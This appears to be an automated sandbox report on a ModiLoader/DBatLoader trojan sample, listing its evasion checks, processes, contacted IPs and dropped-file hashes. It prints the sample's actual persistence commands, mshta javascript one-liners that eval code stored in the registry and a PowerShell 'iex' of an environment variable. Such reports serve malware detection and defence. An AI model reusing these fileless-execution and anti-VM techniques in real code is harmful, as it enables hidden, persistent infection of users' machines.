Malware Analysis Report

2024-08-06 14:23

Sample ID 240528-hp67kaaa6t
Target 7c159a8b9a66c72d84766fecad57a893_JaffaCakes118
SHA256 7b632d73247fe3247dde56c673f9d4554971a6f88bb046ea12b5e383f0515b3f
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

7b632d73247fe3247dde56c673f9d4554971a6f88bb046ea12b5e383f0515b3f

Threat Level: Known bad

The file 7c159a8b9a66c72d84766fecad57a893_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

ModiLoader Second Stage

Looks for VirtualBox Guest Additions in registry

Checks for common network interception software

Looks for VirtualBox drivers on disk

Looks for VMWare Tools registry key

Checks BIOS information in registry

Checks computer location settings

Drops startup file

Deletes itself

Adds Run key to start application

Maps connected drives based on registry

Suspicious use of SetThreadContext

Drops file in System32 directory

Enumerates physical storage devices

Unsigned PE

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

Modifies registry class

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-05-28 06:55

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-28 06:55

Reported

2024-05-28 06:58

Platform

win7-20240215-en

Max time kernel

150s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2d7d1.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:uznEJUk0=\"ia\";Aq63=new%20ActiveXObject(\"WScript.Shell\");erOvg4u5j=\"Hxg\";JX0dc=Aq63.RegRead(\"HKCU\\\\software\\\\atqjps\\\\xawh\");Z8XKVP9f=\"U\";eval(JX0dc);cifSJp8=\"pakBask7\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\ed3e8\\d468b.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:Kopsw0=\"1k\";XU48=new%20ActiveXObject(\"WScript.Shell\");oA8R4sdm=\"ie3\";a0p6wi=XU48.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\atqjps\\\\xawh\");o2wDt6=\"oj7\";eval(a0p6wi);ldngs0=\"CxfSG2jz\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:zuXdv2=\"6BLpC\";y2Q=new ActiveXObject(\"WScript.Shell\");RoLxfI8P=\"K2knXM\";D21iQA=y2Q.RegRead(\"HKCU\\\\software\\\\atqjps\\\\xawh\");Qi7VpPE=\"e2yfnJ9\";eval(D21iQA);dOj4m1bp=\"C\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\.cc93a6 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\.cc93a6\ = "0f739" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739\shell C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1996 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 1996 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 1996 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 1996 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 1996 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 1996 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 1996 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 1996 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 1996 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 1996 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 1996 wrote to memory of 2160 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 2608 wrote to memory of 2568 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2608 wrote to memory of 2568 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2608 wrote to memory of 2568 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2608 wrote to memory of 2568 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2568 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2568 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2568 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2568 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2568 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2568 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2568 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2568 wrote to memory of 2864 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2864 wrote to memory of 616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2864 wrote to memory of 616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2864 wrote to memory of 616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2864 wrote to memory of 616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2864 wrote to memory of 616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2864 wrote to memory of 616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2864 wrote to memory of 616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2864 wrote to memory of 616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:MqyJi8="LLdgLRtF";S34t=new%20ActiveXObject("WScript.Shell");ttgSxa31r="QvJe3rm";Y1mI1H=S34t.RegRead("HKLM\\software\\Wow6432Node\\2p4kt43f9M\\qeDpvy");eFS5QG="t06z";eval(Y1mI1H);Nr0IK="1A";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:xxdlyz

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 215.186.234.137:80 tcp
US 157.240.135.150:8080 tcp
US 35.218.139.77:80 tcp
GB 109.169.3.133:80 tcp
ES 37.135.201.182:80 tcp
FR 92.188.47.220:80 tcp
CN 115.197.235.86:80 tcp
RU 95.28.219.86:80 tcp
KR 121.129.152.105:80 tcp
MY 180.72.90.221:80 tcp
US 6.247.172.192:80 tcp
JP 202.241.136.126:443 tcp
CN 58.253.205.2:80 tcp
CN 116.170.228.199:8080 tcp
US 136.51.205.144:80 tcp
US 146.240.2.231:80 tcp
JP 222.10.207.224:80 tcp
CO 191.147.134.70:80 tcp
KR 115.41.68.252:443 tcp
US 48.73.106.123:80 tcp
AU 202.169.103.82:80 tcp
BR 189.2.125.171:80 tcp
AU 58.171.33.48:80 tcp
KR 27.166.215.1:80 tcp
US 149.45.232.214:8080 tcp
US 29.40.87.17:80 tcp
US 128.62.235.218:80 tcp
MA 196.78.145.223:80 tcp
US 76.144.250.129:443 tcp
US 55.142.228.69:80 tcp
US 196.240.22.60:80 tcp
CZ 95.168.200.166:80 tcp
AR 181.169.252.127:80 tcp
US 143.101.40.71:80 tcp
DE 53.211.184.73:80 tcp
US 54.203.174.195:80 tcp
US 22.199.119.81:443 tcp
US 9.226.71.184:443 tcp
N/A 10.83.152.176:80 tcp
DE 87.153.1.193:80 tcp
NL 145.213.62.63:80 tcp
US 216.217.248.64:443 tcp
IR 2.181.218.124:8080 tcp
CN 123.57.182.252:80 tcp
US 138.56.100.68:80 tcp
EG 105.82.163.90:80 tcp
CN 103.72.135.179:80 tcp
TW 61.64.15.162:80 tcp
HK 203.60.149.179:80 tcp
CN 115.221.111.80:80 tcp
US 19.45.238.1:8080 tcp
BE 185.154.142.122:80 tcp
US 144.60.179.229:443 tcp
JP 113.197.244.232:80 tcp
FR 89.84.166.145:80 tcp
CN 114.85.7.226:80 tcp
US 135.51.244.64:80 tcp
US 204.11.60.130:80 tcp
AR 190.19.141.109:80 tcp
CN 124.249.99.238:80 tcp
KR 119.205.240.167:80 tcp
NL 4.180.249.130:80 tcp
JP 153.140.127.26:80 tcp
CN 59.234.174.51:80 tcp
US 35.116.6.90:80 tcp
CN 58.213.123.143:80 tcp
US 135.48.182.199:80 tcp
AU 137.76.120.163:443 tcp
CN 36.209.114.105:80 tcp
US 96.34.42.234:8080 tcp
US 137.211.53.145:80 tcp
HK 27.124.7.57:80 tcp
US 73.163.75.30:80 tcp
GR 141.255.118.91:80 tcp
PL 89.71.20.216:80 tcp
JP 133.116.35.12:8080 tcp
HK 119.237.200.126:80 tcp
DK 92.33.10.123:80 tcp
US 159.124.19.55:80 tcp
DE 217.229.16.74:80 tcp
CO 200.116.111.163:80 tcp
TW 101.15.19.52:80 tcp
US 206.25.134.218:80 tcp
DE 141.36.216.54:8080 tcp
AU 221.121.94.149:80 tcp
AU 221.121.94.149:80 tcp
CN 39.76.63.141:80 tcp
US 4.201.205.175:80 tcp
CN 223.201.17.176:80 tcp
US 214.155.139.2:80 tcp
US 97.142.202.141:80 tcp
TW 114.136.240.222:80 tcp
CN 42.217.84.184:80 tcp
US 68.39.120.115:443 tcp
RU 46.174.55.134:8080 tcp
CA 142.7.180.26:80 tcp
US 172.136.69.12:80 tcp
US 48.213.110.168:80 tcp
US 35.6.60.120:80 tcp
JP 222.150.128.253:80 tcp
US 148.37.235.23:80 tcp
IT 81.208.40.126:80 tcp
US 26.211.163.68:80 tcp
MA 105.158.149.32:443 tcp
US 23.114.215.30:80 tcp
US 16.225.209.11:80 tcp
MX 187.241.13.5:80 tcp
AU 49.189.4.202:80 tcp
US 56.143.125.161:80 tcp
US 168.54.143.121:80 tcp
US 171.205.109.71:80 tcp
DE 79.193.149.113:8080 tcp
US 30.48.177.170:80 tcp
JP 114.169.142.223:80 tcp
AU 221.121.94.149:80 tcp
US 64.208.119.72:8080 tcp
CN 124.226.242.157:80 tcp
JP 160.195.234.110:443 tcp
US 199.251.158.158:80 tcp
TR 188.59.144.101:80 tcp
US 97.2.70.109:80 tcp
US 173.56.135.194:80 tcp
US 173.41.67.64:80 tcp
IN 38.183.51.150:80 tcp
JP 219.21.24.194:80 tcp
CN 221.232.225.224:443 tcp
TW 103.162.84.208:80 tcp
FR 77.146.93.85:80 tcp
US 28.227.181.80:80 tcp
US 56.112.243.128:80 tcp
N/A 100.112.142.177:80 tcp
CN 59.242.202.85:80 tcp
JP 60.107.173.87:80 tcp
BR 201.77.95.96:80 tcp
IN 102.120.120.30:80 tcp
US 56.85.127.200:80 tcp
US 150.177.209.10:80 tcp
US 159.11.73.235:8080 tcp
KR 183.108.205.222:80 tcp
US 50.103.194.101:80 tcp
JP 122.18.128.253:80 tcp
RU 77.82.162.156:80 tcp
US 16.45.137.18:80 tcp

Files

memory/2160-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2160-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2160-5-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2160-6-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2160-10-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2160-9-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2160-8-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2160-7-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2160-11-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2160-12-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2568-21-0x0000000006250000-0x0000000006326000-memory.dmp

memory/2864-24-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2568-26-0x0000000006250000-0x0000000006326000-memory.dmp

memory/2864-33-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-35-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-34-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-40-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-45-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-48-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-59-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-57-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-55-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-54-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-49-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-58-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-60-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-47-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-46-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-66-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-44-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-42-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-41-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2568-25-0x0000000003190000-0x0000000005190000-memory.dmp

memory/2864-43-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-39-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-38-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-37-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-36-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/616-67-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-80-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-79-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-77-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-76-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-74-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-73-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-72-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-71-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-70-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-69-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-68-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-81-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-78-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/616-75-0x00000000002B0000-0x00000000003F1000-memory.dmp

memory/2864-32-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-31-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-30-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-29-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-28-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-27-0x00000000002D0000-0x0000000000411000-memory.dmp

memory/2864-23-0x00000000002D0000-0x0000000000411000-memory.dmp

C:\Users\Admin\AppData\Local\ed3e8\bc0ec.bat

MD5 c9726b1023d08f87d7c310ef440fc21a
SHA1 e121739a7d5fd0bd5e0a08827105a41798195629
SHA256 009c0ef73332c5aae4e96ba2013e33cda30f312c604c5b1e768c190a522160fc
SHA512 571d0720f495a92114cdce0abbf951bd3ac6f66394adc88964c3870feb2552640290d65bf739c9e844e4f0c33ddbda9e39f6e66cfaad8a4b35a210df05efe1b0

C:\Users\Admin\AppData\Roaming\158f4\93aca.cc93a6

MD5 b471e9c8f278b5196a6aa76c1862a92f
SHA1 8c9b4ffeb97e86a52e9a7a2f8729cf4228766b8d
SHA256 28c338b040ab535c6f74f0104cf840bf796a4172f2b0fd5a94373926b5407653
SHA512 1618797075e823652ae2a28d6cf1bc2c47bc69eec93fbb54d2c1e343344999879237fb4ca5d9f03449e7cf768e691fd30ce63ef8cbe50fdd4ebad89ced4d28e0

C:\Users\Admin\AppData\Local\ed3e8\d468b.lnk

MD5 e3ba07f2208478c740675588efcfd9a2
SHA1 58255171f06f9e2b5ad21e2833b7d0bd8e140777
SHA256 6c88066f2aa6574f1892d16e544d36a30ef47430e9e4cc46972c9bb5e1a1d2e5
SHA512 57e944686c2c2adfe52f389b3a3e921c4539177a5b4903ad390f7af52ef47e4a3fa4290a3aa9e734a8a2764c536c86afe0820caadb064753b5467d02ef1c2c56

C:\Users\Admin\AppData\Local\ed3e8\5cad4.cc93a6

MD5 4d8a2b46c445f309953025f972e685c8
SHA1 5913c1125f030b732af15a9227c142100a69ccf0
SHA256 29accda0f3fad7bec4b6fd9e1bb28e40ca3c6c0f49c7fcdb636af1ee66700356
SHA512 686953e7cd9093fdb38091e12cfe76b946636946c4018311f971aa3bc21aa38174162766e6cf99ee6d5565b764869401f76217f8636f8fda2e4ba1093b87d82e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2d7d1.lnk

MD5 c283264adbbc32c17b62f8d05bc13e04
SHA1 f3fda383c8ac3a25051d2d223308c53f4c6a304e
SHA256 d12b7649b3760c919822c46cda8e769a45ef3d680ea83e974482443244d1b4bc
SHA512 a11fa0135ddf7d1ba5e95d7413da853303644a59871ff87faadade00acbb47fcca4e77484883ff5b93e9047e39e6b54e0b93ab5ebf542aa2fdeb5285474839c2

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-28 06:55

Reported

2024-05-28 06:58

Platform

win10v2004-20240226-en

Max time kernel

149s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4868 wrote to memory of 3292 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 4868 wrote to memory of 3292 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 4868 wrote to memory of 3292 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 4868 wrote to memory of 3292 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 4868 wrote to memory of 3292 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 4868 wrote to memory of 3292 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
